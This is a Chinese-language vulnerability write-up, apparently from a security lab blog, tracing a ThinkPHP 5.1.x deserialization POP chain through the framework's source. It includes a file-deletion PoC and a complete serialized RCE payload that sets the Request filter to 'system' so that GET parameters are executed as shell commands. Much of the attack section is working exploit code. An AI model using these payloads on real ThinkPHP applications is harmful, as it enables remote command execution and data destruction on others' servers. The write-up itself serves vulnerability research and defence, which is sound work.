Thinkphp 反序列化利用鏈深入分析

  • 2019 年 10 月 6 日
  • 筆記

作者:Ethan@知道創宇404實驗室 時間:2019年9月21日

1. 前 言

今年7月份,ThinkPHP 5.1.x爆出來了一個反序列化漏洞。之前沒有分析過關於ThinkPHP的反序列化漏洞。今天就探討一下ThinkPHP的反序列化問題!

2. 環境搭建

• Thinkphp 5.1.35

• php 7.0.12

3. 漏洞挖掘思路

在剛接觸反序列化漏洞的時候,更多遇到的是在魔術方法中,因此自動調用魔術方法而觸發漏洞。但如果漏洞觸發程式碼不在魔法函數中,而在一個類的普通方法中。並且魔法函數通過屬性(對象)調用了一些函數,恰巧在其他的類中有同名的函數(pop鏈)。這時候可以通過尋找相同的函數名將類的屬性和敏感函數的屬性聯繫起來。

4. 漏洞分析

首先漏洞的起點為/thinkphp/library/think/process/pipes/Windows.php__destruct()

__destruct()裡面調用了兩個函數,我們跟進removeFiles()函數。

class Windows extends Pipes  {      private $files = [];      ....      private function removeFiles()      {          foreach ($this->files as $filename) {              if (file_exists($filename)) {                  @unlink($filename);              }          }          $this->files = [];      }      ....  }

這裡使用了$this->files,而且這裡的$files是可控的。所以存在一個任意文件刪除的漏洞。

POC可以這樣構造:

namespace thinkprocesspipes;    class Pipes{    }    class Windows extends Pipes  {  private $files = [];    public function __construct()  {  $this->files=['需要刪除文件的路徑'];  }  }    echo base64_encode(serialize(new Windows()));

這裡只需要一個反序列化漏洞的觸發點,便可以實現任意文件刪除。

removeFiles()中使用了file_exists$filename進行了處理。我們進入file_exists函數可以知道,$filename會被作為字元串處理。

__toString 當一個對象被反序列化後又被當做字元串使用時會被觸發,我們通過傳入一個對象來觸發__toString 方法。我們全局搜索__toString方法。

我們跟進thinkphplibrarythinkmodelconcernConversion.php的Conversion類的第224行,這裡調用了一個toJson()方法。

    .....      public function __toString()      {          return $this->toJson();      }      .....

跟進toJson()方法

    ....      public function toJson($options = JSON_UNESCAPED_UNICODE)      {          return json_encode($this->toArray(), $options);      }      ....

繼續跟進toArray()方法

   public function toArray()      {          $item    = [];          $visible = [];          $hidden  = [];          .....          // 追加屬性(必須定義獲取器)          if (!empty($this->append)) {              foreach ($this->append as $key => $name) {                  if (is_array($name)) {                      // 追加關聯對象屬性                      $relation = $this->getRelation($key);                        if (!$relation) {                          $relation = $this->getAttr($key);                          $relation->visible($name);                      }              .....

我們需要在toArray()函數中尋找一個滿足$可控變數->方法(參數可控)的點,首先,這裡調用了一個getRelation方法。我們跟進getRelation(),它位於Attribute類中

    ....      public function getRelation($name = null)      {          if (is_null($name)) {              return $this->relation;          } elseif (array_key_exists($name, $this->relation)) {              return $this->relation[$name];          }          return;      }      ....

由於getRelation()下面的if語句為if (!$relation),所以這裡不用理會,返回空即可。然後調用了getAttr方法,我們跟進getAttr方法

public function getAttr($name, &$item = null)      {          try {              $notFound = false;              $value    = $this->getData($name);          } catch (InvalidArgumentException $e) {              $notFound = true;              $value    = null;          }          ......

繼續跟進getData方法

   public function getData($name = null)      {          if (is_null($name)) {              return $this->data;          } elseif (array_key_exists($name, $this->data)) {              return $this->data[$name];          } elseif (array_key_exists($name, $this->relation)) {              return $this->relation[$name];          }

通過查看getData函數我們可以知道$relation的值為$this->data[$name],需要注意的一點是這裡類的定義使用的是Trait而不是class。自 PHP 5.4.0 起,PHP 實現了一種程式碼復用的方法,稱為 trait。通過在類中使用use 關鍵字,聲明要組合的Trait名稱。所以,這裡類的繼承要使用use關鍵字。然後我們需要找到一個子類同時繼承了Attribute類和Conversion類。

我們可以在thinkphplibrarythinkModel.php中找到這樣一個類

abstract class Model implements JsonSerializable, ArrayAccess  {      use modelconcernAttribute;      use modelconcernRelationShip;      use modelconcernModelEvent;      use modelconcernTimeStamp;      use modelconcernConversion;      .......

我們梳理一下目前我們需要控制的變數

1.$files位於類Windows2.$append位於類Conversion3.$data位於類Attribute

利用鏈如下:

5. 程式碼執行點分析

我們現在缺少一個進行程式碼執行的點,在這個類中需要沒有visible方法。並且最好存在__call方法,因為__call一般會存在__call_user_func__call_user_func_array,php程式碼執行的終點經常選擇這裡。我們不止一次在Thinkphp的rce中見到這兩個方法。可以在/thinkphp/library/think/Request.php,找到一個__call函數。__call 調用不可訪問或不存在的方法時被調用。

   ......     public function __call($method, $args)      {          if (array_key_exists($method, $this->hook)) {              array_unshift($args, $this);              return call_user_func_array($this->hook[$method], $args);          }            throw new Exception('method not exists:' . static::class . '->' . $method);      }     .....

但是這裡我們只能控制$args,所以這裡很難反序列化成功,但是 $hook這裡是可控的,所以我們可以構造一個hook數組"visable"=>"method",但是array_unshift()向數組插入新元素時會將新數組的值將被插入到數組的開頭。這種情況下我們是構造不出可用的payload的。

在Thinkphp的Request類中還有一個功能filter功能,事實上Thinkphp多個RCE都與這個功能有關。我們可以嘗試覆蓋filter的方法去執行程式碼。

程式碼位於第1456行。

  ....    private function filterValue(&$value, $key, $filters)      {          $default = array_pop($filters);            foreach ($filters as $filter) {              if (is_callable($filter)) {                  // 調用函數或者方法過濾                  $value = call_user_func($filter, $value);              }              .....

但這裡的$value不可控,所以我們需要找到可以控制$value的點。

....      public function input($data = [], $name = '', $default = null, $filter = '')      {          if (false === $name) {              // 獲取原始數據              return $data;          }          ....         // 解析過濾器          $filter = $this->getFilter($filter, $default);            if (is_array($data)) {              array_walk_recursive($data, [$this, 'filterValue'], $filter);              if (version_compare(PHP_VERSION, '7.1.0', '<')) {                  // 恢復PHP版本低於 7.1 時 array_walk_recursive 中消耗的內部指針                    $this->arrayReset($data);              }          } else {              $this->filterValue($data, $name, $filter);          }  .....

但是input函數的參數不可控,所以我們還得繼續尋找可控點。我們繼續找一個調用input函數的地方。我們找到了param函數。

   public function param($name = '', $default = null, $filter = '')      {           ......            if (true === $name) {              // 獲取包含文件上傳資訊的數組              $file = $this->file();              $data = is_array($file) ? array_merge($this->param, $file) : $this->param;                return $this->input($data, '', $default, $filter);          }            return $this->input($this->param, $name, $default, $filter);      }

這裡仍然是不可控的,所以我們繼續找調用param函數的地方。找到了isAjax函數

    public function isAjax($ajax = false)      {          $value  = $this->server('HTTP_X_REQUESTED_WITH');          $result = 'xmlhttprequest' == strtolower($value) ? true : false;            if (true === $ajax) {              return $result;          }            $result           = $this->param($this->config['var_ajax']) ? true : $result;          $this->mergeParam = false;          return $result;      }

isAjax函數中,我們可以控制$this->config['var_ajax']$this->config['var_ajax']可控就意味著param函數中的$name可控。param函數中的$name可控就意味著input函數中的$name可控。

param函數可以獲得$_GET數組並賦值給$this->param

再回到input函數中

$data = $this->getData($data, $name);

$name的值來自於$this->config['var_ajax'],我們跟進getData函數。

      protected function getData(array $data, $name)      {          foreach (explode('.', $name) as $val) {              if (isset($data[$val])) {                  $data = $data[$val];              } else {                  return;              }          }            return $data;      }

這裡$data直接等於$data[$val]

然後跟進getFilter函數

    protected function getFilter($filter, $default)      {          if (is_null($filter)) {              $filter = [];          } else {              $filter = $filter ?: $this->filter;              if (is_string($filter) && false === strpos($filter, '/')) {                  $filter = explode(',', $filter);              } else {                  $filter = (array) $filter;              }          }            $filter[] = $default;            return $filter;      }

這裡的$filter來自於this->filter,我們需要定義this->filter為函數名。

我們再來看一下input函數,有這麼幾行程式碼

....  if (is_array($data)) {              array_walk_recursive($data, [$this, 'filterValue'], $filter);              ...

這是一個回調函數,跟進filterValue函數。

    private function filterValue(&$value, $key, $filters)      {          $default = array_pop($filters);            foreach ($filters as $filter) {              if (is_callable($filter)) {                  // 調用函數或者方法過濾                  $value = call_user_func($filter, $value);              } elseif (is_scalar($value)) {                  if (false !== strpos($filter, '/')) {                      // 正則過濾                      if (!preg_match($filter, $value)) {                          // 匹配不成功返回默認值                          $value = $default;                          break;                      }           .......

通過分析我們可以發現filterValue.value的值為第一個通過GET請求的值,而filters.keyGET請求的鍵,並且filters.filters就等於input.filters的值。

我們嘗試構造payload,這裡需要namespace定義命名空間

<?php  namespace think;  abstract class Model{      protected $append = [];      private $data = [];      function __construct(){          $this->append = ["ethan"=>["calc.exe","calc"]];          $this->data = ["ethan"=>new Request()];      }  }  class Request  {      protected $hook = [];      protected $filter = "system";      protected $config = [          // 表單請求類型偽裝變數          'var_method'       => '_method',          // 表單ajax偽裝變數          'var_ajax'         => '_ajax',          // 表單pjax偽裝變數          'var_pjax'         => '_pjax',          // PATHINFO變數名 用於兼容模式          'var_pathinfo'     => 's',          // 兼容PATH_INFO獲取          'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],          // 默認全局過濾方法 用逗號分隔多個          'default_filter'   => '',          // 域名根,如thinkphp.cn          'url_domain_root'  => '',          // HTTPS代理標識          'https_agent_name' => '',          // IP代理獲取標識          'http_agent_ip'    => 'HTTP_X_REAL_IP',          // URL偽靜態後綴          'url_html_suffix'  => 'html',      ];      function __construct(){          $this->filter = "system";          $this->config = ["var_ajax"=>''];          $this->hook = ["visible"=>[$this,"isAjax"]];      }  }  namespace thinkprocesspipes;    use thinkmodelconcernConversion;  use thinkmodelPivot;  class Windows  {      private $files = [];        public function __construct()      {          $this->files=[new Pivot()];      }  }  namespace thinkmodel;    use thinkModel;    class Pivot extends Model  {  }  use thinkprocesspipesWindows;  echo base64_encode(serialize(new Windows()));  ?>

首先自己構造一個利用點,別問我為什麼,這個漏洞就是需要後期開發的時候有利用點,才能觸發

我們把payload通過POST傳過去,然後通過GET請求獲取需要執行的命令

執行點如下:

利用鏈如下:

參考文章

https://blog.riskivy.com/挖掘暗藏thinkphp中的反序列利用鏈/

https://xz.aliyun.com/t/3674

https://www.cnblogs.com/iamstudy/articles/php_object_injection_pop_chain.html

http://www.f4ckweb.top/index.php/archives/73/

https://cl0und.github.io/2017/10/01/POP%E9%93%BE%E5%AD%A6%E4%B9%A0/